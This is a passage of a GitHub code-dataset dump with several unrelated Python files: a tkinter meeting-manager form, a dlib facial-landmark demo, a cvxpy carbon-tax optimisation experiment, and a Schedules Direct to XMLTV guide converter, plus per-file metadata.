on the name_field box\n        title_field.focus_set()\n\n        # call the clear() function\n        clear()\n\n\n# File Explorer to Upload File\ndef openFile():\n    global textfile\n    filename = filedialog.askopenfilename(initialdir=\"/\", title=\"Upload File\",\n                                          filetypes=((\"Text files\", \"*.txt\"), (\"all files\", \"*.*\")))\n    upload_label.configure(text=\"Uploaded: \" + filename)\n    file = open(filename, \"r\")\n    tf = file.read()\n    textfile = tf\n\n\n\n    file.close()\n\n\n# Driver code\nif __name__ == \"__main__\":\n    # create a GUI window\n    root = Tk()\n\n    # set the background colour of GUI window\n    root.configure(background='lavender')\n\n    # set the title of GUI window\n    root.title(\"registration form\")\n\n    # set the configuration of GUI window\n    root.geometry(\"1000x1000\")\n\n    excel()\n\n    # create a Form label\n    heading = Label(root, text=\"Meeting Manager\", bg=\"lavender\")\n\n    # create a Meeting Title label\n    title = Label(root, text=\"Meeting Title\", bg=\"lavender\")\n\n    # create a Meeting Transcript label\n    transcript = Label(root, text=\"Meeting Transcript\", bg=\"lavender\")\n\n    # create a Enterprise ID label\n    eid = Label(root, text=\"Enterprise ID\", bg=\"lavender\")\n\n    # create a Email ID label\n    email = Label(root, text=\"Email ID\", bg=\"lavender\")\n\n    # create a Meeting Minutes label\n    minutes = Label(root, text=\" \", bg=\"lavender\")\n\n    # create a Participant List label\n    participants = Label(root, text=\" \", bg=\"lavender\")\n\n    # create a Follow-Up Meeting Label\n    followup = Label(root, text=\" \", bg=\"lavender\")\n\n    # Upload Label\n    upload_label = Label(root, text=\"Upload Pending\", bg=\"lavender\")\n\n    # saveButton = Button(root, text=\"Save Choices\", width=20, height=2, command=savecheck)\n    Checkbutton1 = IntVar()\n    Checkbutton2 = IntVar()\n    Checkbutton3 = IntVar()\n    textfile = StringVar()\n\n    # grid method is used for placing\n    # the widgets at respective positions\n    # in table like structure .\n    heading.grid(row=0, column=1)\n    title.grid(row=1, column=0)\n    transcript.grid(row=2, column=0)\n    eid.grid(row=3, column=0)\n    email.grid(row=4, column=0)\n    minutes.grid(row=5, column=0)\n    # saveButton.grid(row=7, column=0)\n    participants.grid(row=6, column=0)\n    followup.grid(row=7, column=0)\n    # saveButton.grid(row=7, column=1)\n    upload_label.grid(row=14, column=1)\n\n    # create a text entry box\n    # for typing the information\n    title_field = Entry(root)\n    transcript_field = Button(root, text=\"Upload Transcript\", command=openFile)\n    eid_field = Entry(root)\n    email_field = Entry(root)\n    minutes_field = Checkbutton(root, text=\"Generate Meeting Minutes\", variable=Checkbutton1, onvalue=1, offvalue=0,\n                                height=2, width=10)\n    participants_field = Checkbutton(root, text=\"Generate Participant List\", variable=Checkbutton2, onvalue=1,\n                                     offvalue=0, height=2, width=10)\n    followup_field = Checkbutton(root, text=\"Schedule Follow-Up Meeting\", variable=Checkbutton3, onvalue=1,\n                                 offvalue=0, height=2, width=10)\n    # bind method of widget is used for\n    # the binding the function with the events\n\n    # whenever the enter key is pressed\n    # then call the focus1 function\n    title_field.bind(\"\", focus1)\n\n    # whenever the enter key is pressed\n    # then call the focus2 function\n    transcript_field.bind(\"\", focus2)\n\n    # whenever the enter key is pressed\n    # then call the focus5 function\n    eid_field.bind(\"\", focus3)\n\n    # whenever the enter key is pressed\n    # then call the focus3 function\n    minutes_field.bind(\"\", focus4)\n\n    # whenever the enter key is pressed\n    # then call the focus4 function\n    participants_field.bind(\"\", focus5)\n\n    # whenever the enter key is pressed\n    # then call the focus5 function\n    followup_field.bind(\"\", focus6)\n\n    # grid method is used for placing\n    # the widgets at respective positions\n    # in table like structure.\n    title_field.grid(row=1, column=1, ipadx=\"100\")\n    transcript_field.grid(row=2, column=1, ipadx=\"100\")\n    eid_field.grid(row=3, column=1, ipadx=\"100\")\n    email_field.grid(row=4, column=1, ipadx=\"100\")\n    minutes_field.grid(row=5, column=1, ipadx=\"100\")\n    participants_field.grid(row=6, column=1, ipadx=\"100\")\n    followup_field.grid(row=7, column=1, ipadx=\"100\")\n\n    # call excel function\n    excel()\n\n    # create a Submit Button and place into the root window\n    submit = Button(root, text=\"Submit\", fg=\"Black\",\n                    bg=\"light green\", command=insert)\n    submit.grid(row=8, column=1)\n\n    # start the GUI\n    root.mainloop()\n", "repo_name": "kasimialam/Meeting_Manager_Bot", "sub_path": "Meeting-Manager/tkinterInterface.py", "file_name": "tkinterInterface.py", "file_ext": "py", "file_size_in_byte": 8470, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "openpyxl.load_workbook", "line_number": 12, "usage_type": "call"}, {"api_name": "Main.my_logic", "line_number": 124, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 139, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 139, "usage_type": "name"}]}
{"seq_id": "74479398628", "text": "import cv2\nimport dlib\nimport matplotlib.pyplot as plt\n\n# Cargar los archivos de predicción\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor('assets/pretrained_models/shape_predictor_68_face_landmarks.dat')\n\n# Cargar la imagen\nimagen = cv2.imread('assets/images/ale.jpg')\n\n# Convertir la imagen a escala de grises\ngris = cv2.cvtColor(imagen, cv2.COLOR_BGR2GRAY)\n\n# Detectar los rostros en la imagen\ncaras = detector(gris)\n\n# Iterar sobre los rostros detectados\nfor cara in caras:\n    # Obtener los puntos de referencia faciales\n    landmarks = predictor(gris, cara)\n\n    # Iterar sobre los puntos de referencia faciales\n    for punto in landmarks.parts():\n        x, y = punto.x, punto.y\n\n        # Dibujar un círculo en cada punto, grande y rojo\n        cv2.circle(imagen, (x, y), 7, (0, 0, 255), -1)\n\n\n# Mostrar la imagen con los puntos de referencia\nplt.imshow(cv2.cvtColor(imagen, cv2.COLOR_BGR2RGB))\nplt.axis('off')\nplt.show()\n", "repo_name": "Mateo-Sanchez14/Facilal_Recognition", "sub_path": "luis.py", "file_name": "luis.py", "file_ext": "py", "file_size_in_byte": 962, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dlib.get_frontal_face_detector", "line_number": 6, "usage_type": "call"}, {"api_name": "dlib.shape_predictor", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 13, "usage_type": "attribute"}, {"api_name": "cv2.circle", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "cv2.cvtColor", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 32, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}]}
{"seq_id": "3894842050", "text": "import cvxpy as cp\nfrom functools import partial\nimport math\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nclass product:\n    def __init__(self, price, carb):\n        self.price = price\n        self.carb = carb\n\nclass agent:\n    def __init__(self, u, product_l):\n        self.u = u \n        self.product_l = product_l\n    \n    def fonc(self, lmbd, product_q): #pour chaque agent, on fait le calcul de sa fonction connaissant lambda et la quantité de produit\n        sum = 0\n        for i in range(0, len(self.product_l)):\n            sum += product_q[i]*(self.product_l[i].price + lmbd*self.product_l[i].carb)\n        return sum\n    \nclass commu:\n    def __init__(self, agent_list, product_list):\n        self.agent_list = agent_list\n        self.product_list = product_list\n    \n    def fonc_i(self, lmbd, C, product_q_ai):\n        sum = 0\n        for k in range(0, len(self.agent_list)):\n            sum += self.agent_list[k].fonc(lmbd, product_q_ai[k])\n        sum = sum - lmbd*C\n        return sum\n\n    def D(self, C, lmbd):\n        x = cp.Variable((len(self.agent_list), len(self.agent_list[0].product_l)))\n        constraints = [x >= 0]\n        #on ajoute les contraintes\n\n        for i in range(0, len(self.agent_list)):\n            constraints.append((self.agent_list[i].u(x[i]) >= 1))\n            constraints.append(x[i][0] + x[i][1] + x[i][2] + x[i][3] + x[i][4] + x[i][5] == 1)\n        \n        def f(m):\n            return self.fonc_i(lmbd=lmbd, C=C, product_q_ai=m)\n        \n        objective = cp.Minimize(f(x))\n        prob = cp.Problem(objective, constraints)\n        prob.solve()\n        print(x.value)\n        return f(x.value)\n    \n    #Lagrange Multiplier\n    def tot_emission(self, x):\n        sum = 0\n        for i in range(0, len(self.agent_list)):\n            for j in range(0, len(self.product_list)): \n                sum += x[i][j] * self.product_list[j].carb\n        return sum\n    \n    def lmbdak(self, lmbda_old, k, gam, C, x_old):\n        carb_emission = self.tot_emission(x_old)\n        return max(0, lmbda_old + gam(k)*(carb_emission - C))\n    \n    def xk(self, lmbda, k, C):\n        #on veut argmin de D(x, lmbda_old)...\n        x = cp.Variable((len(self.agent_list), len(self.agent_list[0].product_l)))\n        constraints = [x >= 0]\n        #on ajoute les contraintes\n        for i in range(0, len(self.agent_list)):\n            constraints.append((self.agent_list[i].u(x[i]) >= 1))\n            constraints.append(x[i][0] + x[i][1] + x[i][2] + x[i][3] + x[i][4] + x[i][5] == 1)\n        \n        def f(m):\n            sum = 0\n            for i in range(0, len(self.agent_list)):\n                for j in range(0, len(self.product_list)): \n                    sum += m[i][j] * self.product_list[j].price\n            return sum + self.tot_emission(m)*lmbda - lmbda*C\n        \n        objective = cp.Minimize(f(x))\n        prob = cp.Problem(objective, constraints)\n        prob.solve()\n        return x.value\n    \n    def distance(self, x, y):\n        sum = 0\n        for i in range(0, len(x)):\n            for j in range(0, len(x[0])):\n                sum += abs(x[i][j] - y[i][j])\n        return sum\n    \n    def lagrange_multilplier_m(self, gam, C, eps_lmbd = 0.0000001, eps_x = 0.000001):\n        #on prend lmbda0 = 0\n        \n        \n        lmbda1 = - C * gam(1)\n        \n        \n        lmbda_old = lmbda1\n        x_old = [[0 for i in range(0, len(self.product_list))] for j in range(0, len(self.agent_list))]\n\n        k = 1\n\n        b = True\n        while b:\n            x_new = self.xk(lmbda_old, k, C)\n            lmbda_new = self.lmbdak(lmbda_old, k, gam, C, x_new)\n        \n\n            #c1 = (abs(lmbda_old-lmbda_new) <= eps_lmbd)\n            c2 = (self.distance(x_new, x_old) <= eps_x)\n            print(self.distance(x_new, x_old))\n\n            if c2:\n                b = False\n                print(lmbda_new)\n                print(x_new)\n                return lmbda_old\n            \n            #print(lmbda_new)\n            x_old = x_new.copy()\n            lmbda_old = lmbda_new\n            #print(lmbda_old)\n            k = k+1\n\n        print(lmbda_old)\n        print(x_old)\n        return lmbda_old\n\n\n#un exemple\n\nl1 = [1.62, 0.1, 1.2, 1, 0.5, 1, 0.2, 1, 0.2, 1, 0.2, 1]\nl2 =  [1.62, 0.1, 0.6, 1, 1.2, 1, 0.4, 1, 0.2, 1, 0.2, 1]\nl3 =  [1.62, 0.1, 0.4, 1, 0.6, 1, 0.1, 1, 0.1, 1, 0.1, 1]\n\ndef u(l, x):\n    s_tmp = 0\n    for k in range(0, 6):\n        s_tmp += x[k]\n    return  l[0]*(x[0] + x[1] + l[1])**(0.5) + l[2]*(x[2] + l[3])**(0.5) + l[4]*(2*x[3] + x[4] + l[5])**(0.5) + l[6]*(x[5] + l[7])**(0.5) + l[8]*(x[6] + l[9])**(0.5) - (l[0]*(l[1])**(0.5) + l[2]*(l[3])**(0.5) + l[4]*(l[5])**(0.5) + l[6]*(l[7])**(0.5) + l[8]*(l[9])**(0.5))\n\n\nelec_car = product(77, 37)\npetrol_car = product(50, 92)\nbus = product(35, 32)\ne_bike = product(15, 8)\nbike = product(3, 2)\nfoot = product(0,0)\nchoc = product(2,1)\n\nprod_l = [elec_car, petrol_car, bus, e_bike, bike, foot, choc]\n\nagent1 = agent(partial(u, l1), prod_l)\nagent2 = agent(partial(u, l2), prod_l)\nagent3 = agent(partial(u, l3), prod_l)\n\nens = commu([agent1, agent2, agent3], prod_l)\n\ndef maxfoncf(C, maxl, minl, N_val):\n    print(C)\n    x = [minl + (maxl - minl)*i/N_val for i in range(0, N_val-1)]\n    x_max = 0\n    y_max = -10000\n    y = [ens.D(C, g) for g in x]\n    for i in range(0, len(y)):\n        if y_max < y[i]:\n            y_max = y[i]\n            x_max = x[i]\n    print(ens.D(C, x_max))\n    return x_max\n\n\ndef gam(x):\n    return 1/(x+10)**2\n\n#print(\"\\n\\n\\nLambda : \" + str(maxfoncf(100, 0, 5, 100)))\n\nens.lagrange_multilplier_m(gam, 100, 0.00001, 0.00001)\n#C = [x for x in range(40, 70)]\n#plt.plot(C, [max(c, 50, 0, 40) for c in C])\n#plt.show()\n", "repo_name": "rtran-22/PAF-CarbonTax", "sub_path": "lagrange_multiplier.py", "file_name": "lagrange_multiplier.py", "file_ext": "py", "file_size_in_byte": 5666, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cvxpy.Variable", "line_number": 36, "usage_type": "call"}, {"api_name": "cvxpy.Minimize", "line_number": 47, "usage_type": "call"}, {"api_name": "cvxpy.Problem", "line_number": 48, "usage_type": "call"}, {"api_name": "cvxpy.Variable", "line_number": 67, "usage_type": "call"}, {"api_name": "cvxpy.Minimize", "line_number": 81, "usage_type": "call"}, {"api_name": "cvxpy.Problem", "line_number": 82, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 155, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 156, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 157, "usage_type": "call"}]}
{"seq_id": "6770175157", "text": "from cachecontrol import CacheControl\nfrom cachecontrol.caches import FileCache\nfrom datetime import date\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom enum import IntEnum\nfrom time import sleep\nfrom xml.sax.saxutils import XMLGenerator\nimport collections\nimport hashlib\nimport itertools\nimport json\nimport os\nimport pytz\nimport re\nimport requests\nimport requests_cache\nimport tempfile\nimport tzlocal\nimport yaml\n\n\nBASE_URL = \"https://json.schedulesdirect.org/20141201\"\nUSER_AGENT = \"sa-sd2xmltv/1 \" + requests.utils.default_user_agent() + \" (+https://github.com/nomis/sd2xmltv/)\"\nTEMP_DIR_LINK = os.path.join(\"/\", \"run\", \"user\", str(os.getuid()), \"sd2xmltv\")\n\ntry:\n\tos.stat(TEMP_DIR_LINK)\nexcept FileNotFoundError:\n\ttry:\n\t\tos.unlink(TEMP_DIR_LINK)\n\texcept:\n\t\tpass\n\tos.symlink(tempfile.mkdtemp(prefix=\"sd2xmltv.\"), TEMP_DIR_LINK)\n\ntz = tzlocal.get_localzone()\nrequests_cache.install_cache(os.path.join(TEMP_DIR_LINK, \"http_cache\"), allowable_methods=(\"GET\", \"POST\"), include_get_headers=False, expire_after=10800)\nrequests_cache.core.remove_expired_responses()\nsession = requests.session()\nsession.headers.update({\"User-Agent\": USER_AGENT})\n\ndef no_cache():\n\treturn session.cache_disabled()\n\ndef size_fmt(num):\n\tfor x in [\"B\", \"KB\"]:\n\t\tif num < 1024 and num > -1024:\n\t\t\treturn \"%.1f%s\" % (num, x)\n\t\tnum /= 1024\n\treturn \"%.1f%s\" % (num, \"MB\")\n\n\ndef time_fmt(num):\n\tif num < 1:\n\t\treturn \"%.1fms\" % (num * 1000)\n\tif num < 60:\n\t\treturn \"%.1fs\" % (num)\n\treturn \"%dm%.1fs\" % (num // 60, num % 60)\n\n\ndef items_fmt(num):\n\tif isinstance(num, int):\n\t\treturn str(num)\n\treturn \"%.1f\" % (num)\n\n\ndef safe_filename(text):\n\treturn \"\".join([c if re.match(r\"[\\w-]\", c) else \"_\" for c in text])\n\n\ndef get(name, filename, params=None, query=None):\n\turl = BASE_URL + filename\n\n\tprint(\"Downloading \" + name + \"...\", flush=True, end=\"\")\n\tr = None\n\ttry:\n\t\tstart = datetime.utcnow()\n\t\tif params is None:\n\t\t\tr = session.get(url, params=query)\n\t\telse:\n\t\t\tr = session.post(url, json.dumps(params))\n\t\tduration = (datetime.utcnow() - start).total_seconds()\n\t\tr.raise_for_status()\n\t\tprint(\" \" + size_fmt(len(r.text)) + \" in \" + time_fmt(duration) + \" (\" + size_fmt(len(r.text) / duration) + \"/s)\")\n\texcept Exception as e:\n\t\tprint(\" \" + str(e))\n\t\tif r is not None:\n\t\t\tprint(r.headers)\n\t\t\tprint(r.text)\n\t\traise\n\n\tif r.headers[\"Content-Type\"] == \"text/plain\":\n\t\tr.encoding = \"UTF-8\"\n\treturn json.loads(r.text)\n\ndef put(name, filename):\n\turl = BASE_URL + filename\n\n\tprint(name + \"...\", flush=True, end=\"\")\n\tr = None\n\ttry:\n\t\tstart = datetime.utcnow()\n\t\tr = session.put(url)\n\t\tduration = (datetime.utcnow() - start).total_seconds()\n\t\tr.raise_for_status()\n\t\tprint(\" \" + size_fmt(len(r.text)) + \" in \" + time_fmt(duration) + \" (\" + size_fmt(len(r.text) / duration) + \"/s)\")\n\texcept Exception as e:\n\t\tprint(\" \" + str(e))\n\t\tif r is not None:\n\t\t\tprint(r.headers)\n\t\t\tprint(r.text)\n\t\traise\n\n\tif r.headers[\"Content-Type\"] == \"text/plain\":\n\t\tr.encoding = \"UTF-8\"\n\treturn json.loads(r.text)\n\ndef delete(name, filename):\n\turl = BASE_URL + filename\n\n\tprint(name + \"...\", flush=True, end=\"\")\n\tr = None\n\ttry:\n\t\tstart = datetime.utcnow()\n\t\tr = session.delete(url)\n\t\tduration = (datetime.utcnow() - start).total_seconds()\n\t\tr.raise_for_status()\n\t\tprint(\" \" + size_fmt(len(r.text)) + \" in \" + time_fmt(duration) + \" (\" + size_fmt(len(r.text) / duration) + \"/s)\")\n\texcept Exception as e:\n\t\tprint(\" \" + str(e))\n\t\tif r is not None:\n\t\t\tprint(r.headers)\n\t\t\tprint(r.text)\n\t\traise\n\n\tif r.headers[\"Content-Type\"] == \"text/plain\":\n\t\tr.encoding = \"UTF-8\"\n\treturn json.loads(r.text)\n\n\nclass Channels(dict):\n\tdef __init__(self, name, lineup_data):\n\t\tsuper()\n\t\tself.name = name\n\t\tself.data = lineup_data\n\n\t\tfor station in filter(None, self.data[\"stations\"]):\n\t\t\tself[station[\"name\"]] = station[\"stationID\"]\n\n\tdef __getitem__(self, key):\n\t\tif key not in self:\n\t\t\traise Exception(\"Channel \" + key + \" not found in \" + self.name)\n\n\t\treturn get(\"schedules for \" + key, \"/schedules\", [{ \"stationID\": dict.__getitem__(self, key) }])\n\n\nclass Files(object):\n\tdef __init__(self, config, base):\n\t\tself.config = config\n\t\tself.base = base\n\t\tself.now = tz.localize(datetime.now().replace(hour=0, minute=0, second=0, microsecond=0, tzinfo=None))\n\t\tself.files = {}\n\n\tdef _write_element(self, g, name, value, attrs={}):\n\t\tif value:\n\t\t\tg.startElement(name, attrs)\n\t\t\tif isinstance(value, list):\n\t\t\t\tfor item in value:\n\t\t\t\t\tself._write_element(g, *item)\n\t\t\telif isinstance(value, tuple):\n\t\t\t\tself._write_element(g, *value)\n\t\t\telif not isinstance(value, bool):\n\t\t\t\tg.characters(value)\n\t\t\tg.endElement(name)\n\n\tdef write(self, filedate, id, programme):\n\t\tif programme[\"start\"].hour < self.config[\"files\"][\"start_hour\"]:\n\t\t\tfiledate -= timedelta(1)\n\n\t\tif filedate < self.now:\n\t\t\treturn\n\n\t\tif filedate not in self.files:\n\t\t\tf = open(os.path.join(self.base, filedate.strftime(\"tv-%Y%m%d.xmltv\")), \"wb\")\n\t\t\tg = XMLGenerator(f, \"UTF-8\")\n\t\t\tg.startDocument()\n\t\t\tf.write(\"\\n\".encode(\"UTF-8\"))\n\t\t\tg.startElement(\"tv\", {\"source-info-name\": \"Schedules Direct\"})\n\t\t\tf.write(\"\\n\".encode(\"UTF-8\"))\n\t\t\tfor (lineup, channels) in self.config[\"channels\"].items():\n\t\t\t\tfor channel in channels:\n\t\t\t\t\tself._write_element(g, \"channel\", (\"display-name\", channel[\"disp\"] if \"disp\" in channel else channel[\"name\"]), {\"id\": channel[\"id\"]})\n\t\t\t\t\tf.write(\"\\n\".encode(\"UTF-8\"))\n\t\t\tself.files[filedate] = (f, g)\n\n\t\t(f, g) = self.files[filedate]\n\t\tattrs = collections.OrderedDict()\n\t\tattrs[\"channel\"] = id\n\t\tattrs[\"start\"] = programme[\"start\"].astimezone(tz).strftime(\"%Y%m%d%H%M%S\")\n\t\tattrs[\"stop\"] = programme[\"stop\"].astimezone(tz).strftime(\"%Y%m%d%H%M%S\")\n\t\tg.startElement(\"programme\", attrs)\n\n\t\tshowType = programme.get(\"showType\", \"\").lower()\n\t\tfilm = programme.get(\"entityType\", \"\") == \"Movie\" or \"film\" in showType or \"movie\" in showType\n\n\t\tnew_series = False\n\t\tsubtitle = []\n\t\tfor md in programme.get(\"metadata\", []):\n\t\t\tfor mdv in md.values():\n\t\t\t\tst = \"s{0}\".format(mdv.get(\"season\"))\n\t\t\t\tif \"totalSeasons\" in mdv:\n\t\t\t\t\tst += \"/{0}\".format(mdv[\"totalSeasons\"])\n\n\t\t\t\tif \"episode\" in mdv:\n\t\t\t\t\tif mdv[\"episode\"] == 1:\n\t\t\t\t\t\tnew_series = True\n\n\t\t\t\t\tst += \", e{0}\".format(mdv.get(\"episode\"))\n\t\t\t\t\tif \"totalEpisodes\" in mdv:\n\t\t\t\t\t\tst += \"/{0}\".format(mdv[\"totalEpisodes\"])\n\n\t\t\t\tif mdv.get(\"season\") > 0:\n\t\t\t\t\tsubtitle.append(st)\n\n\t\tself._write_element(g, \"title\", programme[\"titles\"][0].get(\"title120\"))\n\n\t\tif \"episodeTitle150\" in programme:\n\t\t\tsubtitle.append(programme.get(\"episodeTitle150\"))\n\t\tif subtitle:\n\t\t\tself._write_element(g, \"sub-title\", \": \".join(subtitle))\n\n\t\tdescriptions = sorted(programme.get(\"descriptions\", {}).get(\"description1000\", {}),\n\t\t\tkey=lambda x: {\"en-GB\": -2, \"en\": -1}.get(x[\"descriptionLanguage\"], 0))\n\t\tif descriptions:\n\t\t\tself._write_element(g, \"desc\", descriptions[0].get(\"description\"))\n\n\t\tself._write_element(g, \"credits\", programme.get(\"cast\", []))\n\n\t\tself._write_element(g, \"year\", programme.get(\"movie\", {}).get(\"year\"))\n\n\t\tif film and \"originalAirDate\" in programme:\n\t\t\tif abs(programme[\"start\"].date() - date(*[int(x) for x in programme[\"originalAirDate\"].split(\"-\")])) <= timedelta(2):\n\t\t\t\tself._write_element(g, \"premiere\", programme.get(\"premiere\"))\n\n\t\tself._write_element(g, \"new\", new_series)\n\n\t\tfor rating in programme.get(\"contentRating\", []):\n\t\t\tself._write_element(g, \"rating\", (\"value\", rating[\"code\"]), {\"system\": rating[\"body\"]})\n\n\t\tif film:\n\t\t\tself._write_element(g, \"category\", \"film\")\n\t\tself._write_element(g, \"category\", programme.get(\"episodeType\"))\n\t\tself._write_element(g, \"category\", programme.get(\"showType\"))\n\t\tfor genre in programme.get(\"genres\", []):\n\t\t\tself._write_element(g, \"category\", genre)\n\n\t\tg.endElement(\"programme\")\n\t\tf.write(\"\\n\".encode(\"UTF-8\"))\n\n\tdef close(self):\n\t\tfor (f, g) in self.files.values():\n\t\t\tg.endElement(\"tv\")\n\t\t\tg.endDocument()\n\t\t\tf.close()\n\n\nclass ProgramData(dict):\n\tdef __init__(self, schedule):\n\t\tsuper()\n\n\t\tneed = []\n\t\tfor program in schedule:\n\t\t\tif program[\"programID\"] not in self:\n\t\t\t\tneed.append(program)\n\t\tneed.sort(key=lambda x: x[\"programID\"])\n\t\twhile len(need) > 0:\n\t\t\tdata = get(\"program data\", \"/programs\", [x[\"programID\"] for x in need[0:5000]])\n\t\t\tfor program in data:\n\t\t\t\tself[program[\"programID\"]] = program\n\t\t\tneed = need[5000:]\n\n\nclass Programmes(object):\n\tdef __init__(self, channel, schedule):\n\t\tself.channel = channel\n\t\tif not \"programs\" in schedule[0]:\n\t\t\tprint(schedule)\n\t\tself.schedule = list(itertools.chain(*[x[\"programs\"] for x in schedule]))\n\t\tself.program_data = ProgramData(self.schedule)\n\n\tdef __iter__(self):\n\t\tfor program in self.schedule:\n\t\t\tdata = self.program_data[program[\"programID\"]].copy()\n\n\t\t\tif \"cast\" in data or \"crew\" in data:\n\t\t\t\tcast = []\n\t\t\t\tfor member in sorted(data.get(\"cast\", []) + data.get(\"crew\", []), key=lambda x: (x[\"billingOrder\"], x[\"role\"], x[\"name\"])):\n\t\t\t\t\trole = member[\"role\"].lower()\n\t\t\t\t\tif role in [\"voice\"]:\n\t\t\t\t\t\trole = \"actor\"\n\t\t\t\t\telif role in [\"host\", \"anchor\"]:\n\t\t\t\t\t\trole = \"presenter\"\n\t\t\t\t\telif role in [\"guest\", \"contestent\"]:\n\t\t\t\t\t\trole = \"guest\"\n\n\t\t\t\t\tif role not in [\"director\", \"actor\", \"writer\", \"adapter\", \"producer\", \"composer\", \"editor\", \"presenter\", \"commentator\", \"guest\"]:\n\t\t\t\t\t\tcontinue\n\n\t\t\t\t\tname = member[\"name\"]\n\t\t\t\t\tif \"characterName\" in member:\n\t\t\t\t\t\tname += \" (\" + member[\"characterName\"] + \")\"\n\t\t\t\t\tcast.append((role, name))\n\t\t\t\tdata[\"cast\"] = cast\n\n\t\t\tstart = pytz.utc.localize(datetime.strptime(program[\"airDateTime\"], \"%Y-%m-%dT%H:%M:%SZ\"))\n\t\t\tstop = start + timedelta(seconds=program[\"duration\"])\n\n\t\t\tdata[\"start\"] = start\n\t\t\tdata[\"stop\"] = stop\n\n\t\t\tfiledate = start.replace(hour=0, minute=0)\n\n\t\t\tyield (filedate, data)\n\n\tdef write(self, files):\n\t\tprint(\"Processing programmes for \" + self.channel[\"name\"] + \"...\", flush=True, end=\"\")\n\t\ttry:\n\t\t\tstart = datetime.utcnow()\n\t\t\tid = self.channel[\"id\"]\n\t\t\tfor (filedate, programme) in iter(self):\n\t\t\t\tfiles.write(filedate, id, programme)\n\t\t\tduration = (datetime.utcnow() - start).total_seconds()\n\t\t\tif duration > 0:\n\t\t\t\tprint(\" \" + items_fmt(len(self.schedule)) + \" in \" + time_fmt(duration) + \" (\" + items_fmt(len(self.schedule) / duration) + \"/s)\")\n\t\t\telse:\n\t\t\t\tprint(\" \" + items_fmt(len(self.schedule)) + \" in \" + time_fmt(duration))\n\t\texcept:\n\t\t\tprint()\n\t\t\traise\n\n\nclass SD2XMLTV(object):\n\tdef __init__(self, config=\"config\", base=os.getcwd()):\n\t\tself.base = base\n\t\tself.config = yaml.safe_load(open(os.path.join(self.base, config), \"rt\", encoding=\"UTF-8\"))\n\t\tself.config.setdefault(\"files\", {})\n\t\tself.config[\"files\"].setdefault(\"start_hour\", 6)\n\n\t\twith session.cache_disabled():\n\t\t\ttoken = get(\"token\", \"/token\", { \"username\": self.config[\"login\"][\"username\"], \"password\": hashlib.sha1(self.config[\"login\"][\"password\"].encode(\"UTF-8\")).hexdigest().lower() })\n\t\t\tif token[\"code\"] != 0:\n\t\t\t\traise Exception(token)\n\t\t\tsession.headers.update({ \"token\": token[\"token\"] })\n\t\t\tself.status = get(\"status\", \"/status\")\n\t\t\tif self.status[\"code\"] != 0:\n\t\t\t\traise Exception(self.status)\n\n\tdef main(self):\n\t\tchannels = {}\n\n\t\tlineups = get(\"lineups\", \"/lineups\")[\"lineups\"]\n\n\t\tfor lineup in lineups:\n\t\t\tlineup_channels = get(\"lineup \" + lineup[\"lineup\"], \"/lineups/\" + lineup[\"lineup\"])\n\t\t\twith open(os.path.join(self.base, \"channels_\" + safe_filename(lineup[\"lineup\"])), \"wt\", encoding=\"UTF-8\") as f:\n\t\t\t\tf.write(json.dumps(lineup_channels, indent=2, sort_keys=True))\n\n\t\t\tchannels[lineup[\"lineup\"]] = Channels(lineup[\"lineup\"], lineup_channels)\n\n\t\tprogrammes = []\n\t\tfor (lineup, lineup_channels) in self.config[\"channels\"].items():\n\t\t\tfor channel in lineup_channels:\n\t\t\t\tprogrammes.append(Programmes(channel, channels[lineup][channel[\"name\"]]))\n\n\t\tfiles = Files(self.config, self.base)\n\t\tfor item in programmes:\n\t\t\titem.write(files)\n\t\tfiles.close()\n\nif __name__ == \"__main__\":\n\tSD2XMLTV().main()\n", "repo_name": "nomis/sd2xmltv", "sub_path": "sd2xmltv.py", "file_name": "sd2xmltv.py", "file_ext": "py", "file_size_in_byte": 11666, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.utils.default_user_agent", "line_number": 24, "usage_type": "call"}, {"api_name": "requests.utils", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.getuid", "line_number": 25, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 28, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 31, "usage_type": "call"}, {"api_name": "os.symlink", "line_number": 34, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 34, "usage_type": "call"}, {"api_name": "tzlocal.get_localzone", "line_number": 36, "usage_type": "call"}, {"api_name": "requests_cache.install_cache", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "requests_cache.core.remove_expired_responses", "line_number": 38, "usage_type": "call"}, {"api_name": "requests_cache.core", "line_number": 38, "usage_type": "attribute"}, {"api_name": "requests.session", "line_number": 39, "usage_type": "call"}, {"api_name": 